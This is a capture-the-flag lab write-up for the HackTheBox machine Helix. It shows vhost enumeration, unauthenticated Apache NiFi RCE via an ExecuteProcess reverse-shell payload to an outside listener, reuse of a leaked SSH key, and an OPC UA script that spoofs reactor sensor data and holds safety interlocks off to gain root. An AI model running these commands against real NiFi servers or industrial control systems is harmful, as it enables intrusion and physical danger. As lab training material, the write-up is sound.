HackTheBox Writeup - Helix
Overview
Helix is a Medium-rated Linux machine themed around Operational Technology (OT) / Industrial Control Systems (ICS). The chain blends classic web/app exploitation with industrial-protocol abuse:
- Vhost enumeration -> discover an internal Apache NiFi 1.21.0 instance.
- Anonymous NiFi RCE (CVE-2023-34468 class) via an
ExecuteProcessprocessor -> shell asnifi. - Lateral movement -> recover a backup SSH key for
operatorfrom NiFi’ssupport-bundles/-> user flag. - Privilege escalation -> abuse a writable OPC UA PLC to spoof a hazardous-but-untripped reactor state, forcing the root
helix-safetyservice to open a maintenance window, thensudo helix-maint-console-> root.
| Target | 10.129.245.123 |
| OS | Linux (Ubuntu) |
| Difficulty | Medium |
1. Reconnaissance
Nmap
1
nmap -sC -sV -T4 -oN helix_nmap.txt 10.129.245.123
1
2
3
4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Only SSH and HTTP are exposed externally. Port 80 redirects to helix.htb, so add it to /etc/hosts:
1
echo "10.129.245.123 helix.htb" | sudo tee -a /etc/hosts
The root site is a static “Helix Industries” corporate page - no forms, links, or hidden directories. With all real functionality internal, vhost enumeration is the next move.
Vhost Fuzzing
Unknown hosts return a 302 (size 154), so filter on that:
1
2
ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \
-w subdomains-top1million-110000.txt -fs 154
1
flow [Status: 200, Size: 1068]
1
echo "10.129.245.123 flow.helix.htb" | sudo tee -a /etc/hosts
flow.helix.htb serves Apache NiFi.
2. Foothold - Apache NiFi Anonymous RCE
Version & Access
1
2
3
4
5
6
7
curl -s http://flow.helix.htb/nifi-api/flow/about
# {"about":{"title":"NiFi","version":"1.21.0", ...}}
curl -s http://flow.helix.htb/nifi-api/access/config
# {"config":{"supportsLogin":false}}
curl -s http://flow.helix.htb/nifi-api/flow/current-user
The current user is anonymous with canWrite: true across the board - including restrictedComponentsPermissions such as execute-code. Anonymous, unauthenticated, full control.
NiFi <= 1.21.0 allows an authorized user to configure components (e.g. DBCP with the H2 driver, or
ExecuteProcess) that result in code execution - CVE-2023-34468. With anonymous write access, this is unauthenticated RCE.
Building the Reverse Shell Processor
Grab the root process group ID:
1
2
ROOT=$(curl -s http://flow.helix.htb/nifi-api/flow/process-groups/root \
| python3 -c "import sys,json;print(json.load(sys.stdin)['processGroupFlow']['id'])")
Create an ExecuteProcess processor that spawns a reverse shell. The Command Arguments are split on the ; delimiter:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
curl -s -X POST "http://flow.helix.htb/nifi-api/process-groups/$ROOT/processors" \
-H "Content-Type: application/json" -d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.standard.ExecuteProcess",
"name": "rev",
"position": {"x": 100, "y": 100},
"config": {
"properties": {
"Command": "/bin/bash",
"Command Arguments": "-c;bash -i >& /dev/tcp/10.10.14.203/9001 0>&1",
"Argument Delimiter": ";"
},
"schedulingPeriod": "3600 sec",
"schedulingStrategy": "TIMER_DRIVEN",
"executionNode": "PRIMARY"
}
}}'
Auto-terminate the success relationship so the processor is valid, then start it:
1
2
3
4
# PUT .../processors/<id> with config.autoTerminatedRelationships=["success"]
curl -s -X PUT "http://flow.helix.htb/nifi-api/processors/$PID/run-status" \
-H "Content-Type: application/json" \
-d '{"revision":{"version":2},"state":"RUNNING"}'
Listener catches the shell:
1
2
3
nc -lvnp 9001
# nifi@helix:/opt/nifi-1.21.0$ id
# uid=998(nifi) gid=998(nifi) groups=998(nifi)
Stop the processor right after the callback so it doesn’t keep re-firing every scheduling interval.
3. Lateral Movement -> operator (User Flag)
The user flag lives in /home/operator (not readable by nifi). Enumerating the NiFi install reveals a telling directory:
1
2
find /opt/nifi-1.21.0 -path "*support*" -o -iname "*.bak"
# /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
A backup SSH private key for operator:
1
2
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
# -----BEGIN OPENSSH PRIVATE KEY----- (comment: root@management)
1
2
3
4
chmod 600 operator_key
ssh -i operator_key operator@10.129.245.123
operator@helix:~$ cat user.txt
48e9ffc194887bc00eccc9d7bc6175fe
User:
48e9ffc194887bc00eccc9d7bc6175fe
NiFi’s flow config also leaks an H2 DBCP service for user
operatorwith an encrypted password and thenifi.sensitive.props.key. It’s a tempting rabbit hole - but the intended foothold is the.bakSSH key insupport-bundles/.
4. Privilege Escalation - OPC UA Reactor Manipulation
Mapping the OT Environment
operator’s sudo rights:
1
2
sudo -n -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console
Three custom systemd services model a nuclear reactor:
| Service | Runs as | Role |
|---|---|---|
helix-plc | plc | OPC UA server on 127.0.0.1:4840 |
helix-safety | root | Safety controller - grants the maintenance window |
helix-hmi | www-data | Dashboard on 127.0.0.1:8081 |
The maintenance console (readable as operator):
1
cat /usr/local/sbin/helix-maint-console
1
2
3
4
5
6
7
8
FLAG="/opt/helix/state/maintenance_window"
window_ok() {
[ -f "$FLAG" ] || return 1
until_ts="$(cat "$FLAG")"; now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1 # timestamp must be in the future
}
# if window_ok -> systemd-run --scope /bin/bash -p -i (ROOT shell)
So root drops a shell only if /opt/helix/state/maintenance_window holds a future Unix timestamp - and only the root helix-safety process can write it. We need to convince the safety controller to open the window.
The HMI (http://127.0.0.1:8081) explains the trigger:
Window opens only when the safety controller authorizes it under hazardous test conditions - Temp >= 295 C or Pressure >= 73 bar - while still below trip.
Reaching the OPC UA Server
Port 4840 is bound to localhost. The clean approach is an SSH local forward from the operator foothold:
1
ssh -i operator_key -L 4840:127.0.0.1:4840 operator@10.129.245.123
Client side:
1
python3 -m venv venv && ./venv/bin/pip install asyncua
Browsing the PLC Tags
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Plant [ns=2;i=1]
Reactor
TemperatureRaw ns=2;i=3 read-only = 282.6
Temperature ns=2;i=4 read-only = 282.6 # = Raw + CalibrationOffset
Pressure ns=2;i=5 read-only = 68.9
CalibrationOffset ns=2;i=6 WRITE = 0.0
Safety
RodsInserted ns=2;i=8 WRITE = False
EmergencyCooling ns=2;i=9 WRITE = False
TripActive ns=2;i=10 read-only = False
Control
Mode ns=2;i=12 WRITE = 'NORMAL'
TestOverride ns=2;i=13 WRITE = False
ResetTrip ns=2;i=14 WRITE = False
The vulnerability is the writable CalibrationOffset: the displayed Temperature is TemperatureRaw + CalibrationOffset. By writing the offset we spoof a hazardous reading while the real raw sensor stays low, so the trip never latches.
The Logic Puzzle
Naively setting Temperature >= 295 is not enough. Two subtleties:
- TEST mode resets the offset. Switching
ModetoTESTzeroesCalibrationOffset. UseMode = MAINTENANCE, where the offset is honoured. - Auto-mitigation cancels the hazard. The instant temp crosses 295 C, the safety controller auto-engages
RodsInserted=TrueandEmergencyCooling=True. A mitigated hazard isn’t hazardous - so the window stays closed. The condition only registers as a genuine hazardous test condition (Test Mode Active: YES) while the mitigations are held OFF.
The solution is to continuously hold the hazardous, unmitigated state faster than the controller can re-engage safety:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import asyncio
from asyncua import Client, ua
URL = "opc.tcp://127.0.0.1:4840/helix/" # via SSH local forward
async def main():
async with Client(url=URL, timeout=25) as c:
async def W(nid, val, t):
await c.get_node(nid).write_value(ua.DataValue(ua.Variant(val, t)))
for _ in range(200):
raw = await c.get_node("ns=2;i=3").read_value()
await W("ns=2;i=12", "MAINTENANCE", ua.VariantType.String) # Mode
await W("ns=2;i=6", round(296.0 - raw, 3), ua.VariantType.Double) # spoof temp -> 296
await W("ns=2;i=8", False, ua.VariantType.Boolean) # RodsInserted OFF
await W("ns=2;i=9", False, ua.VariantType.Boolean) # EmergencyCooling OFF
await asyncio.sleep(0.15)
asyncio.run(main())
Watching the HMI while the loop runs:
1
2
3
4
Temperature: 296.0 C
Rods Inserted: False | Emergency Cooling: False
Test Mode Active: YES
Privileged Maintenance Window - Status: OPEN
Cashing In the Window
While the loop keeps the window open, invoke the console over SSH:
1
2
ssh -i operator_key -tt operator@10.129.245.123 \
"sudo /usr/local/sbin/helix-maint-console"
1
2
3
4
5
6
[+] Privileged maintenance access granted
[!] Window expires in 89 seconds
root@helix:/home/operator# id
uid=0(root) gid=0(root) groups=0(root)
root@helix:/home/operator# cat /root/root.txt
a6ff4983dac260da9a510e047c18fbe0
Root:
a6ff4983dac260da9a510e047c18fbe0
Flags
| Flag | Value |
|---|---|
| User | 48e9ffc194887bc00eccc9d7bc6175fe |
| Root | a6ff4983dac260da9a510e047c18fbe0 |
Key Takeaways
- NiFi anonymous access is fatal. With
supportsLogin: falseand anonymous write,ExecuteProcess/DBCP-H2 give unauthenticated RCE (CVE-2023-34468). Always require authentication and restrict theexecute-codepolicy. - Secrets in support bundles. Diagnostic/backup directories (
support-bundles/*.bak) are a recurring source of leaked keys - never ship private keys inside an app’s working tree. - OT integrity, not just access. The real ICS lesson: a writable
CalibrationOffsetlet an attacker forge sensor telemetry and defeat safety interlocks. Control logic must treat operator-writable calibration/override tags as untrusted and key safety decisions off validated raw inputs. - Race the controller. The maintenance window only opened while the unmitigated hazard was held - a tight write-loop beats the safety controller’s re-mitigation cycle.